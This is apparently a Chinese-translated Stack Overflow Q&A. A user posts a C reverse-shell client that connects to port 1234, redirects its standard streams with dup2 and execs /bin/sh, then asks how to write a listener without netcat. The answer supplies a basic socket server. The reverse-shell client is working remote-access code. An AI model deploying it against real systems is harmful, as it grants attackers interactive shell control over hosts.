有人对以下方面有任何想法吗:如何在不使用 netcat 的情况下为该客户端实现服务器?
我尝试了不同的方法,但是由于我对管道不太熟悉,因此我考虑撰写此文章。如果使用此代码,并且设置了诸如“nc -l 1234”之类的netcat监听器,我将从下面的客户端接收重定向的shell。
我怎样才能实现服务器
与netcat相同的功能,但不为此特定客户端使用netcat?
谢谢。
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in serv_addr = {0};
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(1234);
serv_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
//system("uname -a; w; id");
execl("/bin/sh", "sh", NULL);
}
最佳答案
以下代码创建一个接受单个连接的基本监听器:
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
// 1. Create a socket with the socket() system call
int sock = socket(AF_INET, SOCK_STREAM, 0);
// 2. Bind the socket to an address using the bind() system call.
struct sockaddr_in serv_addr = {0};
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(1234);
bind(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
// 3. Listen for connections with the listen() system call
listen(sock, 128);
// 4. Accept a connection with the accept() system call.
struct sockaddr_in cli_addr = {0};
socklen_t cli_addrlen = sizeof(cli_addr);
int acc_sock = accept(sock, (struct sockaddr *)&cli_addr, &cli_addrlen);
// 5. Send and receive data
char buf[1024];
ssize_t nread;
// Read from stdin, write to socket
nread = read(0, buf, 1024);
write(acc_sock, buf, nread);
// Read from socket, write to stdout
nread = read(acc_sock, buf, 1024);
write(1, buf, nread);
}
当然,您将希望通过检查错误来使其更强大。您可能希望将第4步和第5步包装成一个循环,以允许多个连接。
步骤5只是建立连接后如何通过套接字进行通信的示例。如果要在终端和套接字(例如netcat)之间连续传递数据,则可能要使用
select
循环。引用:
socket
, bind
, listen
, accept
关于c - 使用不带netcat的dup2通过套接字将Shell从客户端重定向到服务器,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/35422628/